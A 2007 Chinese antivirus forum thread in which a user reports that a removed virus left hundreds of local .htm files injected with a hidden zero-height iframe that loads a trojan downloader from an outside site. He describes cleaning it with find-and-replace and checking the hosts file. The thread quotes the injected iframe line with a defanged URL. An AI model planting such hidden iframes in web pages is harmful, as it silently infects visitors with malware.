瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 病毒杀掉了……留下一堆有问题的.htm

1   1  /  1  页   跳转页

病毒杀掉了……留下一堆有问题的.htm

收藏
音速超人
头像
初生襁褓狮
  • 帖子:5
  • 注册: 2006-08-11
  • 来自:
发表于： 2007-09-09 10:34 | 显示全部 短消息 资料
字号： 小 中 大 1楼

病毒杀掉了……留下一堆有问题的.htm

每个里面都有"http://wow.a38q.cn/wow.htm"
到这里的跳转代码一行
只要打开htm，页面虽然正常，但是病毒就连过去开始下载了
一共有300+个htm
怎么清空这些垃圾代码？？？？

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
最后编辑2007-09-09 11:03:49
分享到：
gototop
 
音速超人
头像
初生襁褓狮
  • 帖子:5
  • 注册: 2006-08-11
  • 来自:
发表于： 2007-09-09 11:07 | 显示全部 短消息 资料
字号： 小 中 大 2楼

说晚了
我刚下了dreamweaver把代码给替换掉了
所有的都在最末尾处添加一行
<iframe src="***" width="100" height="0" frameborder="0"></iframe>

***-------->"h  t  t  p://wow.a38q.cn/wow.htm"
然后就下载这个木头马
Trojan.DL.JS.Agent.lmr
gototop
 
音速超人
头像
初生襁褓狮
  • 帖子:5
  • 注册: 2006-08-11
  • 来自:
发表于： 2007-09-09 11:11 | 显示全部 短消息 资料
字号： 小 中 大 3楼

我很气愤是，这个东西导致了所有的带网页的应用程序都会变成病毒下载源头。虽然一些软件正常，但是只要联网，就会自动下载病毒。而且根本查不到。那个下载木马后面跟着的病毒也晒给大家看，还多了一个熊猫，昨天没有，今天是那个网站新更新的。

附件附件:

下载次数:214
文件类型:image/pjpeg
文件大小:
上传时间:2007-9-9 11:11:20
描述:
gototop
 
音速超人
头像
初生襁褓狮
  • 帖子:5
  • 注册: 2006-08-11
  • 来自:
发表于： 2007-09-09 11:14 | 显示全部 短消息 资料
字号： 小 中 大 4楼

谢谢版主~~~问题已解决啦，各位同志，杀掉病毒后别忘记看看.htm
系统没毒也不代表这个毒已经清空。hosts也要看看
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT